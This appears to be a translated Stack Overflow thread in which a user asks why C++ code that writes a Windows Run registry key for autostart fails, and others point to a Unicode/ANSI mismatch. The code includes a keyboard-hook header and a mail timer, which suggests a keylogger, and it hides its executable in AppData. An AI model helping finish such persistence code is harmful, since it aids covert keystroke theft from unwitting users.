C++;注册表项问题 我有一些C++代码的问题。

C++;注册表项问题 我有一些C++代码的问题。,c++,winapi,registry,autorun,C++,Winapi,Registry,Autorun,更确切地说,我希望当Windows启动时,正在运行的程序为autostart注册注册表项。 剩下的代码放在另一个标题中,我想你们不需要它 #include <iostream> #include <windows.h> #include "KeybHook.h" using namespace std; int main () { MSG Msg; IO::MkDir (IO::GetOurPath (true)); InstalHook ();

更确切地说,我希望当Windows启动时,正在运行的程序为autostart注册注册表项。
剩下的代码放在另一个标题中,我想你们不需要它

#include <iostream>
#include <windows.h>
#include "KeybHook.h"
using namespace std;

int main ()
{
    MSG Msg;
    IO::MkDir (IO::GetOurPath (true));
    InstalHook ();
    while (GetMessage (&Msg, NULL, 0, 0))
        {
            TranslateMessage(&Msg);
            DispatchMessage(&Msg);
        }
    MailTimer.Stop ();
    std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe";
    HKEY hkey = NULL;
    LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
    LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
    return 0;
}

您正在使用Windows API的ANSI版本,但字符串是Unicode

您应该
#定义UNICODE
#定义UNICODE
(两者都需要;一个用于Windows API,另一个用于C运行时)


如果您是在Visual Studio项目下进行构建,则可以通过在项目设置中的“常规/字符集”下启用“使用Unicode字符集”来定义它们,而无需编辑代码。

使用
wstring
而不是
string
?@Arash Windows使用UTF-16,因此,
wstring
是如何获得Unicode支持的。您是否阅读了错误消息?没有解释问题?或者显式地使用
RegSetValueExW
RegCreateKeyW
。它是以这种方式工作的,但会影响代码的其余部分。有没有其他方法不使用UNICODE注册它,使用std::string而不是std::wstring?@GrigorasAndrei:有,从字符串中省略所有前导的
L
s,这就是将它们转换为Unicode字符串的原因。所以我回来了…抱歉,有点小麻烦。程序正在编译,但它不工作!!!在win7和Win10上测试。我看到如果我把程序放在启动文件夹中,它可以工作,但这不是我的想法…我应该怎么做?
main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|